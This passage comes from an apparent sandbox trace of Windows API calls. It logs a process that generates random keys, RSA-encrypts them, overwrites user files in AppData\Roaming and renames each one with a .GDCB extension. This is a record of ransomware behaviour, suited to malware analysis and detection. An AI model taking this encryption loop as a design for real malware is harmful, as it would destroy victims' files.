(lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.028] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pp7pzivznjg.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pp7pzivznjg.gif.gdcb")) returned 1 [0136.031] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.031] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.031] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.031] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.032] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.032] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.032] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.034] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309448) returned 1 [0136.034] CryptGetKeyParam (in: hKey=0x309448, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.034] CryptEncrypt (in: hKey=0x309448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.034] GetLastError () returned 0x0 [0136.034] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.034] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed168) returned 1 [0136.036] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309408) returned 1 [0136.036] CryptGetKeyParam (in: hKey=0x309408, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.036] CryptEncrypt (in: hKey=0x309408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.036] GetLastError () returned 0x0 [0136.036] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0136.037] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\py_6.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.037] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.037] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.037] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x2db0, lpOverlapped=0x0) returned 1 [0136.046] VirtualAlloc (lpAddress=0x0, dwSize=0x2db0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.046] VirtualAlloc (lpAddress=0x0, dwSize=0x2db0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.046] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.046] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-11696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.046] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x2db0, lpOverlapped=0x0) returned 1 [0136.046] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.047] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.049] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.049] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.049] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.050] CloseHandle (hObject=0x4ec) returned 1 [0136.050] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.050] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.051] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.051] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\py_6.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\py_6.pdf.gdcb")) returned 1 [0136.053] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0136.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.054] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.054] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.054] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.054] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.054] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.055] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.057] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309088) returned 1 [0136.057] CryptGetKeyParam (in: hKey=0x309088, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.057] CryptEncrypt (in: hKey=0x309088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.057] GetLastError () returned 0x0 [0136.057] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.057] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0136.059] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308f48) returned 1 [0136.059] CryptGetKeyParam (in: hKey=0x308f48, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.059] CryptEncrypt (in: hKey=0x308f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.060] GetLastError () returned 0x0 [0136.060] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.060] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\qvlruvqbw5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.060] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.060] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.060] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x8091, lpOverlapped=0x0) returned 1 [0136.070] VirtualAlloc (lpAddress=0x0, dwSize=0x80a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.071] VirtualAlloc (lpAddress=0x0, dwSize=0x80a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.071] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.072] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-32913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.072] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x80a0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x80a0, lpOverlapped=0x0) returned 1 [0136.072] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.072] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.075] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.075] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.075] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.075] CloseHandle (hObject=0x4ec) returned 1 [0136.076] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.076] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.076] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.076] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\qvlruvqbw5.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\qvlruvqbw5.mp3.gdcb")) returned 1 [0136.078] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.078] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.078] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.078] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.079] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.079] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.079] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.081] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3095c8) returned 1 [0136.081] CryptGetKeyParam (in: hKey=0x3095c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.081] CryptEncrypt (in: hKey=0x3095c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.081] GetLastError () returned 0x0 [0136.081] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.081] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.083] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308f88) returned 1 [0136.083] CryptGetKeyParam (in: hKey=0x308f88, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.083] CryptEncrypt (in: hKey=0x308f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.083] GetLastError () returned 0x0 [0136.084] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.084] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rdjeorfwlmiukr-wj-g.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.084] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.084] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.084] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x6d9a, lpOverlapped=0x0) returned 1 [0136.093] VirtualAlloc (lpAddress=0x0, dwSize=0x6da0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.093] VirtualAlloc (lpAddress=0x0, dwSize=0x6da0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.094] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.094] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-28058, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.094] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x6da0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x6da0, lpOverlapped=0x0) returned 1 [0136.094] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.095] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.097] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.097] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.097] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.097] CloseHandle (hObject=0x4ec) returned 1 [0136.098] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.099] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.099] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.099] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rdjeorfwlmiukr-wj-g.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rdjeorfwlmiukr-wj-g.mp3.gdcb")) returned 1 [0136.100] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.101] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.101] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.101] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.102] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.102] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.102] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.102] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.104] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309508) returned 1 [0136.104] CryptGetKeyParam (in: hKey=0x309508, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.104] CryptEncrypt (in: hKey=0x309508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.104] GetLastError () returned 0x0 [0136.104] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.104] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.106] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3094c8) returned 1 [0136.106] CryptGetKeyParam (in: hKey=0x3094c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.106] CryptEncrypt (in: hKey=0x3094c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.106] GetLastError () returned 0x0 [0136.106] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.106] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\s-oozle.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.106] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.107] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.107] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x4b30, lpOverlapped=0x0) returned 1 [0136.116] VirtualAlloc (lpAddress=0x0, dwSize=0x4b30, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.117] VirtualAlloc (lpAddress=0x0, dwSize=0x4b30, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.117] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.117] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-19248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.117] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x4b30, lpOverlapped=0x0) returned 1 [0136.118] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.118] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.120] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.120] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.120] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.120] CloseHandle (hObject=0x4ec) returned 1 [0136.121] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.121] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.122] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.122] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\s-oozle.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\s-oozle.avi.gdcb")) returned 1 [0136.123] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.124] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.124] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.124] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.125] 